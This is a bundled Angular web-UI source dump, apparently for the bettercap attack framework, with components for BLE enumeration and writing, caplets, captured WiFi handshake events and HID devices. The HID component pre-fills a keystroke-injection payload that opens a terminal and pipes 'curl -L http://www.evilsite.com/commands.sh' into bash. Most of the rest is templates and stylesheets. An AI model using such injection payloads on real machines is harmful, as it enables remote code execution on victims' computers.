\\n\\n \\n \\n | \\n \\n | \\n \\n \\n \\n \\n \\n | \\n \\n \\n {{ (device.name ? device.name : device.alias ? '' : 'none') | unbash }}\\n \\n {{ device.alias }}\\n \\n | \\n\\n {{ device.vendor ? device.vendor : 'unknown' }} | \\n {{ device.flags ? device.flags : 'none' }} | \\n \\n \\n \\n | \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n\\n 0\\\">\\n \\n {{ device.services.length }}\\n \\n \\n \\n \\n\\n \\n \\n 0\\\" ngbTooltip=\\\"Refresh\\\" class=\\\"fas fa-sync-alt\\\">\\n \\n | \\n {{ device.last_seen | date: 'HH:mm:ss' }} | \\n
\\n \\n \\n
\\n\\n
\\n \\n \\n | Handles | \\n \\n \\n Service\\n \\n \\n \\n Characteristics\\n \\n | \\n Properties | \\n Data | \\n | \\n
\\n \\n \\n \\n \\n | \\n {{ svc.handle }}\\n \\n {{ svc.end_handle }}\\n | \\n \\n \\n \\n {{ svc.name }}\\n \\n {{ svc.uuid }}\\n \\n \\n {{ svc.uuid }}\\n \\n | \\n | \\n | \\n
\\n \\n | \\n {{ ch.handle }}\\n | \\n \\n \\n \\n {{ ch.name }}\\n \\n {{ ch.uuid }}\\n \\n \\n {{ ch.uuid }}\\n \\n | \\n \\n {{ ch.properties.join(', ') | unbash }}\\n | \\n \\n \\n {{ ch.data | unbash }}\\n \\n | \\n \\n \\n | \\n
\\n \\n \\n
\\n
\\n\\n
\\n
\\n
\\n \\n
\\n
\\n
\\n
\\n
\\n
\\n\\n
\\n\"","module.exports = \"\\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IiIsImZpbGUiOiJzcmMvYXBwL2NvbXBvbmVudHMvYmxlLXRhYmxlL2JsZS10YWJsZS5jb21wb25lbnQuc2NzcyJ9 */\"","import {Component, OnInit, OnDestroy, ViewChild} from '@angular/core';\nimport { SortService, ColumnSortedEvent } from '../../services/sort.service';\nimport {ApiService} from '../../services/api.service';\nimport {Device} from '../../models/device';\nimport { OmniBarService } from '../../services/omnibar.service';\nimport { ClipboardService } from '../../services/clipboard.service';\n\ndeclare var $: any;\n\n@Component({\n selector: 'ui-ble-table',\n templateUrl: './ble-table.component.html',\n styleUrls: ['./ble-table.component.scss']\n})\nexport class BleTableComponent implements OnInit, OnDestroy {\n devices: Device[] = [];\n sort: ColumnSortedEvent;\n sortSub: any;\n visibleMenu: string = \"\";\n currDev: Device = null;\n currScan: Device = null;\n\n constructor(private api: ApiService, private sortService: SortService, public omnibar: OmniBarService, public clipboard: ClipboardService) { \n this.sort = {field: 'rssi', direction: 'asc', type:''};\n this.update(this.api.session);\n }\n\n ngOnInit() {\n this.api.onNewData.subscribe(session => {\n this.update(session);\n });\n\n this.sortSub = this.sortService.onSort.subscribe(event => {\n this.sort = event;\n this.sortService.sort(this.devices, event);\n });\n }\n\n ngOnDestroy() {\n this.sortSub.unsubscribe();\n }\n\n setAlias(dev) {\n $('#in').val(dev.alias);\n $('#inhost').val(dev.mac);\n $('#inputModalTitle').html('Set alias for ' + dev.mac);\n $('#inputModal').modal('show');\n }\n\n doSetAlias() {\n $('#inputModal').modal('hide');\n\n let mac = $('#inhost').val();\n let alias = $('#in').val();\n\n if( alias.trim() == \"\" )\n alias = '\"\"';\n\n this.api.cmd(\"alias \" + mac + \" \" + alias);\n }\n\n enumServices(dev) {\n this.currScan = dev;\n this.api.cmd('ble.enum ' + dev.mac);\n }\n\n showWriteModal(dev, ch) {\n $('#writeMAC').val(dev.mac);\n $('#writeUUID').val(ch.uuid);\n $('#writeData').val(\"FFFFFF\");\n $('#writeModal').modal('show');\n }\n\n doWrite() {\n let mac = $('#writeMAC').val();\n let uuid = $('#writeUUID').val();\n let data = $('#writeData').val();\n $('#writeModal').modal('hide');\n this.api.cmd(\"ble.write \" + mac + \" \" + uuid + \" \" + data);\n }\n\n private update(session) {\n this.currScan = this.api.module('ble.recon').state.scanning;\n\n // freeze the interface while the user is doing something\n if( $('.menu-dropdown').is(':visible') )\n return;\n\n let devices = session.ble['devices'];\n if( devices.length == 0 )\n this.currDev = null;\n\n this.sortService.sort(devices, this.sort)\n this.devices = devices; \n\n if( this.currDev != null ) {\n for( let i = 0; i < this.devices.length; i++ ) {\n let dev = this.devices[i];\n if( dev.mac == this.currDev.mac ) {\n this.currDev = dev;\n break;\n }\n }\n }\n }\n}\n","module.exports = \"
\\n
\\n\\n
\\n \\n
\\n
\\n
\\n
\\n No caplets installed so far.\\n
\\n
\\n
\\n
\\n
\\n \\n
\\n
\\n
\\n
\\n
\\n\\n
\\n {{ successMessage }}\\n \\n
\\n\\n
\\n {{ errorMessage }}\\n \\n
\\n\\n
\\n
\\n
\\n\\n
\\n \\n \\n \\n
\\n\\n
\\n\\n
\\n
\\n\\n
\\n\\n
\\n
\\n\"","module.exports = \"*.nav-link {\\n cursor: pointer;\\n}\\n\\n.nav-pills .nav-link {\\n border-radius: none;\\n border: none;\\n color: #fff;\\n font-size: 15px;\\n background-color: #32383e;\\n}\\n\\n.nav-pills .nav-link.active, .nav-pills .show > .nav-link {\\n border-radius: 0;\\n border: none;\\n color: #aaa;\\n background-color: #212529;\\n}\\n\\n.mod-nav {\\n margin-right: 0;\\n padding-right: 0;\\n}\\n\\np.mod-description {\\n font-size: 1rem;\\n}\\n\\ndiv.mod-content {\\n padding-top: 12px;\\n background-color: #212529;\\n color: #fff;\\n}\\n\\ninput.param-input {\\n background-color: #333;\\n border: 1px solid #353535;\\n color: #aaa;\\n}\\n\\ntextarea.caplet {\\n font-family: \\\"Roboto Mono\\\", monospace;\\n font-weight: 100;\\n font-size: 0.8rem;\\n}\\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvY2FwbGV0cy9jYXBsZXRzLmNvbXBvbmVudC5zY3NzIiwic3JjL2FwcC9jb21wb25lbnRzL2NhcGxldHMvY2FwbGV0cy5jb21wb25lbnQuc2NzcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQTtFQUNJLGVBQUE7QUNDSjs7QURFQTtFQUNJLG1CQUFBO0VBQ0EsWUFBQTtFQUNBLFdBQUE7RUFDQSxlQUFBO0VBQ0EseUJBQUE7QUNDSjs7QURFQTtFQUNJLGdCQUFBO0VBQ0EsWUFBQTtFQUNBLFdBQUE7RUFDQSx5QkFBQTtBQ0NKOztBREdBO0VBQ0ksZUFBQTtFQUNBLGdCQUFBO0FDQUo7O0FER0E7RUFDSSxlQUFBO0FDQUo7O0FER0E7RUFDSSxpQkFBQTtFQUNBLHlCQUFBO0VBQ0EsV0FBQTtBQ0FKOztBREdBO0VBQ0ksc0JBQUE7RUFDQSx5QkFBQTtFQUNBLFdBQUE7QUNBSjs7QURHQTtFQUNJLHFDQUFBO0VBQ0EsZ0JBQUE7RUFDQSxpQkFBQTtBQ0FKIiwiZmlsZSI6InNyYy9hcHAvY29tcG9uZW50cy9jYXBsZXRzL2NhcGxldHMuY29tcG9uZW50LnNjc3MiLCJzb3VyY2VzQ29udGVudCI6WyIqLm5hdi1saW5rIHtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG59XG5cbi5uYXYtcGlsbHMgLm5hdi1saW5rIHtcbiAgICBib3JkZXItcmFkaXVzOiBub25lO1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICBjb2xvcjogI2ZmZjtcbiAgICBmb250LXNpemU6IDE1cHg7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzMyMzgzZTtcbn1cblxuLm5hdi1waWxscyAubmF2LWxpbmsuYWN0aXZlLCAubmF2LXBpbGxzIC5zaG93Pi5uYXYtbGluayB7XG4gICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICBib3JkZXI6IG5vbmU7XG4gICAgY29sb3I6ICNhYWE7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzIxMjUyOTtcbn1cblxuXG4ubW9kLW5hdiB7XG4gICAgbWFyZ2luLXJpZ2h0OiAwO1xuICAgIHBhZGRpbmctcmlnaHQ6IDA7XG59XG5cbnAubW9kLWRlc2NyaXB0aW9uIHtcbiAgICBmb250LXNpemU6IDFyZW07XG59XG5cbmRpdi5tb2QtY29udGVudCB7XG4gICAgcGFkZGluZy10b3A6IDEycHg7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzIxMjUyOTtcbiAgICBjb2xvcjogI2ZmZjtcbn1cblxuaW5wdXQucGFyYW0taW5wdXQge1xuICAgIGJhY2tncm91bmQtY29sb3I6IzMzMzsgXG4gICAgYm9yZGVyOiAxcHggc29saWQgIzM1MzUzNTsgXG4gICAgY29sb3I6ICNhYWE7XG59XG5cbnRleHRhcmVhLmNhcGxldCB7XG4gICAgZm9udC1mYW1pbHk6ICdSb2JvdG8gTW9ubycsIG1vbm9zcGFjZTtcbiAgICBmb250LXdlaWdodDogMTAwO1xuICAgIGZvbnQtc2l6ZTogLjhyZW07XG59XG4iLCIqLm5hdi1saW5rIHtcbiAgY3Vyc29yOiBwb2ludGVyO1xufVxuXG4ubmF2LXBpbGxzIC5uYXYtbGluayB7XG4gIGJvcmRlci1yYWRpdXM6IG5vbmU7XG4gIGJvcmRlcjogbm9uZTtcbiAgY29sb3I6ICNmZmY7XG4gIGZvbnQtc2l6ZTogMTVweDtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzMyMzgzZTtcbn1cblxuLm5hdi1waWxscyAubmF2LWxpbmsuYWN0aXZlLCAubmF2LXBpbGxzIC5zaG93ID4gLm5hdi1saW5rIHtcbiAgYm9yZGVyLXJhZGl1czogMDtcbiAgYm9yZGVyOiBub25lO1xuICBjb2xvcjogI2FhYTtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzIxMjUyOTtcbn1cblxuLm1vZC1uYXYge1xuICBtYXJnaW4tcmlnaHQ6IDA7XG4gIHBhZGRpbmctcmlnaHQ6IDA7XG59XG5cbnAubW9kLWRlc2NyaXB0aW9uIHtcbiAgZm9udC1zaXplOiAxcmVtO1xufVxuXG5kaXYubW9kLWNvbnRlbnQge1xuICBwYWRkaW5nLXRvcDogMTJweDtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzIxMjUyOTtcbiAgY29sb3I6ICNmZmY7XG59XG5cbmlucHV0LnBhcmFtLWlucHV0IHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMztcbiAgYm9yZGVyOiAxcHggc29saWQgIzM1MzUzNTtcbiAgY29sb3I6ICNhYWE7XG59XG5cbnRleHRhcmVhLmNhcGxldCB7XG4gIGZvbnQtZmFtaWx5OiBcIlJvYm90byBNb25vXCIsIG1vbm9zcGFjZTtcbiAgZm9udC13ZWlnaHQ6IDEwMDtcbiAgZm9udC1zaXplOiAwLjhyZW07XG59Il19 */\"","import {Component, OnInit, OnDestroy, ViewChild} from '@angular/core';\nimport { ApiService } from '../../services/api.service';\nimport { SortService } from '../../services/sort.service';\nimport { Session } from '../../models/session';\nimport { OmniBarService } from '../../services/omnibar.service';\n\ndeclare var $: any;\n\n@Component({\n selector: 'ui-caplets',\n templateUrl: './caplets.component.html',\n styleUrls: ['./caplets.component.scss']\n})\nexport class CapletsComponent implements OnInit, OnDestroy {\n caplets: any[] = [];\n session: Session;\n\n successMessage: string = '';\n errorMessage: string = '';\n curTab: number = 0;\n curCap: any = null;\n\n constructor(private api: ApiService, private sortService: SortService, public omnibar: OmniBarService) { \n this.update(this.api.session);\n }\n\n ngOnInit() {\n this.api.onNewData.subscribe(session => {\n this.update(session);\n });\n }\n\n ngOnDestroy() {\n\n }\n\n onUpdateAll() {\n if( confirm(\"This will download the new caplets from github and overwrite the previously installed ones, continue?\") ) {\n this.api.cmd('caplets.update');\n }\n }\n\n runCaplet(cap) {\n this.api.cmd(\"include \" + cap.path, true).subscribe(\n (val) => {\n this.successMessage = cap.path + ' executed.';\n },\n error => {\n this.errorMessage = error.error;\n },\n () => {}\n );\n }\n\n saveCaplet(cap) {\n let code = $('#capCode' + cap.index).val();\n this.api.writeFile(cap.path, code).subscribe(\n (val) => {\n this.successMessage = cap.path + ' saved.';\n },\n error => {\n this.errorMessage = error.error;\n },\n () => {}\n );\n }\n\n curScripts() {\n if( !this.curCap )\n return [];\n\n this.curCap.index = 0;\n let files = [this.curCap];\n for( let i = 0; i < this.curCap.scripts.length; i++ ){\n let script = this.curCap.scripts[i];\n script.index = i + 1;\n files.push(script);\n }\n\n return files;\n }\n\n private capletNeedsUpdate(newCaplet, existingCaplet){\n if ( !existingCaplet)\n return true;\n if ( newCaplet.size != existingCaplet.size )\n return true;\n if ( newCaplet.code.length != existingCaplet.code.length )\n return true;\n for ( let i = 0; i < newCaplet.code.length; i++ ) {\n if (newCaplet.code[i] !== existingCaplet.code[i]) \n return true;\n }\n return false;\n }\n\n private update(session) {\n for( let i = 0; i < session.caplets.length; i++ ) {\n let cap = session.caplets[i];\n if( !this.curCap || this.curCap.name == cap.name ) {\n if (this.capletNeedsUpdate(cap, this.curCap))\n this.curCap = cap;\n break;\n }\n }\n\n this.sortService.sort(session.caplets, {\n field: 'name',\n direction: 'desc',\n type: ''\n }); \n\n this.session = session;\n this.caplets = session.caplets; \n }\n}\n\n","module.exports = \"
\\n \\n Detected {{ data.ipv4 }} \\n {{ data.alias }}\\n {{ data.mac | uppercase }} \\n {{ data.vendor }}\\n \\n \\n Lost {{ data.ipv4 }} {{ data.mac | uppercase }} \\n {{ data.vendor }}\\n \\n\\n \\n Station {{ data.mac | uppercase }} \\n {{ data.vendor }} \\n {{ data.alias }}\\n is probing for {{ data.essid }}\\n \\n \\n Captured handshake for station {{ data.station }} \\n connecting to AP {{ data.ap }}\\n \\n \\n Detected client \\n {{ data.Client.mac | uppercase }}\\n {{ data.Client.vendor }} \\n {{ data.Client.alias }}\\n for AP {{ data.AP.mac | uppercase }}\\n \\n \\n Lost client \\n {{ data.Client.mac | uppercase }}\\n {{ data.Client.vendor }} \\n {{ data.Client.alias }}\\n for AP {{ data.AP.mac | uppercase }}\\n \\n \\n Detected {{ data.hostname }} \\n {{ data.mac | uppercase }}\\n {{ data.vendor }} \\n with {{ data.encryption }} encryption and {{ data.clients.length }} clients\\n \\n \\n Lost {{ data.hostname }} \\n {{ data.mac | uppercase }}\\n {{ data.vendor }}\\n \\n\\n \\n Detected {{ data.mac | uppercase }} \\n {{ data.vendor }}: \\n flags: {{data.flags}},\\n connectable: {{data.connectable}}\\n \\n \\n Lost {{ data.mac | uppercase }} \\n {{ data.vendor }}: \\n flags: {{data.flags}},\\n connectable: {{data.connectable}}\\n \\n \\n \\n \\n Timeout while connecting to {{ data.mac | uppercase }} \\n {{ data.vendor }}: \\n flags: {{data.flags}},\\n connectable: {{data.connectable}}\\n \\n\\n \\n Detected {{data.type}} HID device {{ data.address | uppercase }}\\n \\n \\n Lost {{data.type}} HID device {{ data.address | uppercase }}\\n \\n\\n \\n {{ logLevel(data.Level) }}: {{ data.Message | unbash }}\\n \\n\\n \\n {{ data }}\\n \\n\\n \\n {{ data.message | unbash }}\\n \\n\\n \\n \\n \\n {{ item.key }}: {{ item.value }}\\n \\n \\n \\n\\n\\n\"","module.exports = \"\\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IiIsImZpbGUiOiJzcmMvYXBwL2NvbXBvbmVudHMvZXZlbnQvZXZlbnQuY29tcG9uZW50LnNjc3MifQ== */\"","import {Component, Input} from '@angular/core';\nimport { Event } from '../../models/event';\n\n@Component({\n selector: 'event-data',\n templateUrl: './event.component.html',\n styleUrls: ['./event.component.scss']\n})\nexport class EventComponent {\n @Input() event: Event;\n\n private logLevels: string[] = [\n \"DEBUG\",\n \"INFO\",\n \"IMPORTANT\",\n \"WARNING\",\n \"ERROR\",\n \"FATAL\"\n ];\n\n constructor() { }\n\n get data() : string {\n return this.event.data;\n }\n\n logLevel(level : number) : string {\n return this.logLevels[level];\n }\n}\n","module.exports = \"
0\\\">\\n
\\n \\n \\n | \\n Muted\\n | \\n \\n \\n\\n \\n | \\n
\\n \\n
\\n
\\n\\n
\\n
\\n \\n \\n | Time | \\n Type | \\n | \\n
\\n \\n \\n\\n \\n | \\n empty\\n | \\n
\\n\\n \\n | {{ event.time | date: 'short' }} | \\n \\n \\n | \\n \\n \\n | \\n
\\n \\n
\\n
\\n\\n
\\n
\\n
\\n\\n
\\n \\n
{{ curEvent.tag }}\\n \\n
{{ curEvent.time | date: 'long' }}\\n \\n
\\n\\n\\n
\\n
\\n
\\n
\\n
\\n\"","module.exports = \"button.btn-event {\\n font-size: 0.8rem;\\n padding: 0.05rem 0.3rem;\\n line-height: 1;\\n border-radius: 0.1rem;\\n}\\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvZXZlbnRzLXRhYmxlL2V2ZW50cy10YWJsZS5jb21wb25lbnQuc2NzcyIsInNyYy9hcHAvY29tcG9uZW50cy9ldmVudHMtdGFibGUvZXZlbnRzLXRhYmxlLmNvbXBvbmVudC5zY3NzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBO0VBQ0ksaUJBQUE7RUFDQSx1QkFBQTtFQUNBLGNBQUE7RUFDQSxxQkFBQTtBQ0NKIiwiZmlsZSI6InNyYy9hcHAvY29tcG9uZW50cy9ldmVudHMtdGFibGUvZXZlbnRzLXRhYmxlLmNvbXBvbmVudC5zY3NzIiwic291cmNlc0NvbnRlbnQiOlsiYnV0dG9uLmJ0bi1ldmVudCB7XG4gICAgZm9udC1zaXplOiAuOHJlbTtcbiAgICBwYWRkaW5nOiAuMDVyZW0gLjNyZW07XG4gICAgbGluZS1oZWlnaHQ6IDEuMDtcbiAgICBib3JkZXItcmFkaXVzOiAuMXJlbTtcbn1cbiIsImJ1dHRvbi5idG4tZXZlbnQge1xuICBmb250LXNpemU6IDAuOHJlbTtcbiAgcGFkZGluZzogMC4wNXJlbSAwLjNyZW07XG4gIGxpbmUtaGVpZ2h0OiAxO1xuICBib3JkZXItcmFkaXVzOiAwLjFyZW07XG59Il19 */\"","import {Component, OnInit, OnDestroy, ViewChild} from '@angular/core';\nimport { ApiService } from '../../services/api.service';\nimport { SortService, ColumnSortedEvent } from '../../services/sort.service';\nimport { OmniBarService } from '../../services/omnibar.service';\nimport { Event } from '../../models/event';\n\ndeclare var $: any;\n\n@Component({\n selector: 'ui-events-table',\n templateUrl: './events-table.component.html',\n styleUrls: ['./events-table.component.scss']\n})\nexport class EventsTableComponent implements OnInit, OnDestroy {\n events: Event[] = [];\n ignored: string[] = [];\n modEnabled: boolean = false;\n sort: ColumnSortedEvent;\n query: string = '';\n subscriptions: any = [];\n curEvent: any = null;\n\n constructor(private api: ApiService, private sortService: SortService, public omnibar: OmniBarService) { \n this.sort = {field: 'time', direction: 'asc', type:''};\n this.update(this.api.events);\n }\n\n ngOnInit() {\n this.subscriptions = [\n this.api.onNewEvents.subscribe(events => {\n this.update(events);\n }),\n this.sortService.onSort.subscribe(event => {\n this.sort = event;\n this.sortService.sort(this.events, event);\n })\n ];\n }\n\n ngOnDestroy() {\n for( let i = 0; i < this.subscriptions.length; i++ ){\n this.subscriptions[i].unsubscribe();\n }\n this.subscriptions = [];\n }\n\n private update(events) {\n var mod = this.api.module('events.stream');\n\n this.modEnabled = mod.running;\n this.ignored = mod.state.ignoring.sort();\n this.events = events; \n this.sortService.sort(this.events, this.sort)\n }\n\n btnFor(tag : string) : string {\n if( tag == 'wifi.client.handshake' )\n return 'danger';\n\n tag = tag.split('.')[0];\n switch(tag) {\n case 'wifi': return 'success';\n case 'endpoint': return 'secondary';\n case 'ble': return 'primary';\n case 'hid': return 'warning';\n default: return 'dark';\n }\n }\n\n showEvent(event : any) {\n this.curEvent = event;\n $('#eventModal').modal('show');\n }\n\n curEventData() {\n if( this.curEvent ) {\n return JSON.stringify(this.curEvent.data, null, 2);\n }\n return '';\n }\n\n clear() {\n this.api.clearEvents();\n this.events = [];\n }\n\n toggleModule() {\n let toggle = this.api.module('events.stream').running ? 'off' : 'on';\n let enabled = toggle == 'on' ? true : false;\n this.api.cmd(\"events.stream \" + toggle);\n this.modEnabled = enabled;\n }\n}\n","module.exports = \"
\\n
\\n \\n \\n | Address | \\n Type | \\n Data | \\n Channels | \\n Seen | \\n
\\n \\n \\n\\n \\n | \\n empty\\n | \\n
\\n\\n \\n | \\n \\n {{ device.address | uppercase }}\\n\\n \\n {{ device.alias }}\\n \\n\\n \\n \\n \\n injecting ...\\n \\n \\n sniffing ...\\n \\n \\n \\n \\n \\n \\n\\n \\n \\n \\n\\n \\n {{ device.alias }}\\n \\n \\n | \\n \\n {{ device.type ? device.type : 'unknown'}}\\n | \\n \\n 0\\n\\n 0\\\">\\n \\n \\n\\n | \\n {{ device.channels.join(', ') }} | \\n {{ device.last_seen | date: 'HH:mm:ss' }} | \\n
\\n \\n
\\n
\\n\\n
\\n
\\n
\\n \\n
\\n
\\n
\\n
\\n
\\n
\\n\\n
\\n
\\n
\\n \\n
\\n \\n {{ p.split(' ').splice(1).join(' ') }}
\\n \\n
\\n
\\n
\\n
\\n\\n
\\n\"","module.exports = \"*.payload {\\n font-family: \\\"Roboto Mono\\\", monospace;\\n font-size: 0.8rem;\\n font-weight: 100;\\n padding: 0;\\n margin: 0;\\n}\\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvaGlkLXRhYmxlL2hpZC10YWJsZS5jb21wb25lbnQuc2NzcyIsInNyYy9hcHAvY29tcG9uZW50cy9oaWQtdGFibGUvaGlkLXRhYmxlLmNvbXBvbmVudC5zY3NzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBO0VBQ0kscUNBQUE7RUFDQSxpQkFBQTtFQUNBLGdCQUFBO0VBQ0EsVUFBQTtFQUNBLFNBQUE7QUNDSiIsImZpbGUiOiJzcmMvYXBwL2NvbXBvbmVudHMvaGlkLXRhYmxlL2hpZC10YWJsZS5jb21wb25lbnQuc2NzcyIsInNvdXJjZXNDb250ZW50IjpbIioucGF5bG9hZCB7XG4gICAgZm9udC1mYW1pbHk6ICdSb2JvdG8gTW9ubycsIG1vbm9zcGFjZTtcbiAgICBmb250LXNpemU6IC44cmVtO1xuICAgIGZvbnQtd2VpZ2h0OiAxMDA7XG4gICAgcGFkZGluZzogMDtcbiAgICBtYXJnaW46IDA7XG59XG4iLCIqLnBheWxvYWQge1xuICBmb250LWZhbWlseTogXCJSb2JvdG8gTW9ub1wiLCBtb25vc3BhY2U7XG4gIGZvbnQtc2l6ZTogMC44cmVtO1xuICBmb250LXdlaWdodDogMTAwO1xuICBwYWRkaW5nOiAwO1xuICBtYXJnaW46IDA7XG59Il19 */\"","import {Component, OnInit, OnDestroy, ViewChild} from '@angular/core';\nimport { SortService, ColumnSortedEvent } from '../../services/sort.service';\nimport {ApiService} from '../../services/api.service';\nimport {HIDDevice} from '../../models/hid.device';\nimport {Module} from '../../models/module';\nimport { OmniBarService } from '../../services/omnibar.service';\nimport { ClipboardService } from '../../services/clipboard.service';\n\ndeclare var $: any;\n\n@Component({\n selector: 'ui-hid-table',\n templateUrl: './hid-table.component.html',\n styleUrls: ['./hid-table.component.scss']\n})\nexport class HidTableComponent implements OnInit, OnDestroy {\n devices: HIDDevice[] = [];\n hid: Module = null;\n sort: ColumnSortedEvent;\n sortSub: any;\n visibleMenu: string = \"\";\n\n state: any = {\n sniffing: \"\",\n injecting: false\n };\n injDev: any = {\n tokens: [],\n address: \"\",\n payloads: []\n };\n curDev: any = {\n tokens: [],\n address: \"\",\n payloads: []\n };\n\n constructor(private api: ApiService, private sortService: SortService, public omnibar: OmniBarService, public clipboard: ClipboardService) { \n this.sort = {field: 'address', direction: 'asc', type:''};\n this.update(this.api.session.hid['devices']);\n }\n\n ngOnInit() {\n this.api.onNewData.subscribe(session => {\n this.update(session.hid['devices']);\n });\n\n this.sortSub = this.sortService.onSort.subscribe(event => {\n this.sort = event;\n this.sortService.sort(this.devices, event);\n });\n }\n\n ngOnDestroy() {\n this.sortSub.unsubscribe();\n }\n\n setAlias(dev) {\n $('#in').val(dev.alias);\n $('#inhost').val(dev.address);\n $('#inputModalTitle').html('Set alias for ' + dev.address);\n $('#inputModal').modal('show');\n }\n\n doSetAlias() {\n $('#inputModal').modal('hide');\n\n let mac = $('#inhost').val();\n let alias = $('#in').val();\n\n if( alias.trim() == \"\" )\n alias = '\"\"';\n\n this.api.cmd(\"alias \" + mac + \" \" + alias);\n }\n\n showInjectModal(dev) {\n let pathToken = { label: 'Save As', id: 'PATH', value: '/tmp/bettercap-hid-script.txt' };\n let dataToken = { label: 'Code', id: 'DATA', value:\n \"GUI\\n\" +\n \"DELAY 500\\n\" +\n \"STRING Terminal\\n\" +\n \"DELAY 500\\n\" +\n \"ENTER\\n\" +\n \"DELAY 500\\n\" +\n \"STRING curl -L http://www.evilsite.com/commands.sh | bash\\n\" +\n \"ENTER\\n\" +\n \"STRING exit\\n\" +\n \"ENTER\" \n };\n\n this.injDev = dev;\n this.injDev.tokens = [\n { label: 'Device', id: 'ADDRESS', value: dev.address.toUpperCase() },\n { label: 'Layout', id: 'LAYOUT', value: 'US' },\n pathToken,\n dataToken \n ];\n\n this.api.readFile(pathToken.value).subscribe(\n (val) => {\n dataToken.value = String(val);\n },\n error => {\n $('#injectModal').modal('show');\n },\n () => {\n $('#injectModal').modal('show');\n });\n }\n\n doInjection() {\n let parts = {};\n\n for( let i = 0; i < this.injDev.tokens.length; i++ ) {\n let tok = this.injDev.tokens[i];\n let val = $('#tok'+tok.id).val();\n\n parts[tok.id] = (val == \"\" && tok.id != 'DATA' ? '\"\"' : val);\n }\n\n $('#injectModal').modal('hide');\n\n this.api.writeFile(parts['PATH'], parts['DATA']).subscribe(\n (val) => {\n this.api.cmd('hid.inject ' + parts['ADDRESS'] + ' ' + parts['LAYOUT'] + ' ' + parts['PATH']);\n },\n error => {},\n () => {}\n );\n }\n\n showPayloadsModal(dev) {\n this.curDev = dev;\n $('#payloadsModal').modal('show');\n }\n\n private update(devices) {\n this.hid = this.api.module('hid');\n this.state = this.hid.state;\n this.devices = devices; \n this.sortService.sort(this.devices, this.sort);\n\n if( this.curDev != null ) {\n for( let i = 0; i < this.devices.length; i++ ) {\n let dev = this.devices[i];\n if( dev.address == this.curDev.address ) {\n this.curDev = dev;\n break;\n }\n }\n }\n }\n}\n","module.exports = \"
\\n\\n
\\n
\\n \\n \\n | IP | \\n MAC | \\n Hostname | \\n Vendor | \\n Sent | \\n Recvd | \\n Seen | \\n Info | \\n
\\n \\n \\n \\n | \\n empty\\n | \\n
\\n\\n \\n | \\n \\n \\n \\n\\n \\n \\n\\n \\n\\n \\n \\n\\n \\n {{ host.ipv4 }}\\n \\n \\n {{ scanState.progress | number:'1.0-0' }}%\\n \\n \\n \\n \\n \\n\\n | \\n \\n \\n \\n \\n \\n | \\n \\n {{ host.hostname }}\\n \\n \\n {{ host.alias }}\\n \\n | \\n {{ host.vendor ? host.vendor : 'unknown' }} | \\n {{ host.sent | size }} | \\n {{ host.received | size }} | \\n {{ host.last_seen | date: 'HH:mm:ss'}} | \\n \\n\\n interface\\n gateway\\n\\n \\n\\n \\n \\n\\n \\n\\n \\n\\n \\n\\n | \\n
\\n \\n
\\n
\\n\\n
\\n
\\n
\\n \\n
\\n
\\n
\\n
\\n
\\n
\\n\\n
\\n\"","module.exports = \".paused:after {\\n font-family: \\\"Font Awesome 5 Free\\\";\\n font-weight: 900;\\n content: \\\"\\\\f04c\\\";\\n position: absolute;\\n font-size: 400px;\\n top: 50%;\\n left: 50%;\\n -webkit-transform: translate(-50%, -50%);\\n transform: translate(-50%, -50%);\\n opacity: 0.02;\\n color: white;\\n z-index: 1000;\\n pointer-events: none;\\n}\\n\\ndiv.table-responsive {\\n min-height: 600px;\\n overflow: initial;\\n}\\n\\n.table .table {\\n background-color: #313539;\\n}\\n\\ndiv.table-dropdown {\\n z-index: 1000;\\n position: absolute;\\n right: 0;\\n padding: 5px;\\n border: 1px solid #212529;\\n border-radius: 3px;\\n background-color: #313539;\\n display: table;\\n font-size: 0.8rem;\\n}\\n\\ndiv.menu-dropdown {\\n z-index: 99999;\\n padding: 5px;\\n border: 1px solid #212529;\\n border-radius: 3px;\\n background-color: #313539;\\n font-size: 0.8rem;\\n}\\n\\ndiv.menu-dropdown ul li {\\n padding: 5px;\\n cursor: pointer;\\n}\\n\\ndiv.menu-dropdown ul li:hover {\\n background-color: #414549;\\n}\\n\\ndiv.menu-dropdown ul li a {\\n color: white !important;\\n width: 100% !important;\\n display: block;\\n cursor: pointer;\\n}\\n\\ndiv.menu-dropdown ul li a:hover {\\n text-decoration: none;\\n}\\n\\n.drop-left {\\n right: auto;\\n left: 0;\\n}\\n\\ntr.alive {\\n background-color: #313539;\\n}\\n\\ntr.alive td.time {\\n font-weight: bold;\\n}\\n\\ntd.nowrap,\\nth.nowrap,\\ntr.nowrap {\\n white-space: nowrap;\\n}\\n\\ntable.table-dark tbody tr:hover {\\n background-color: rgba(38, 45, 53, 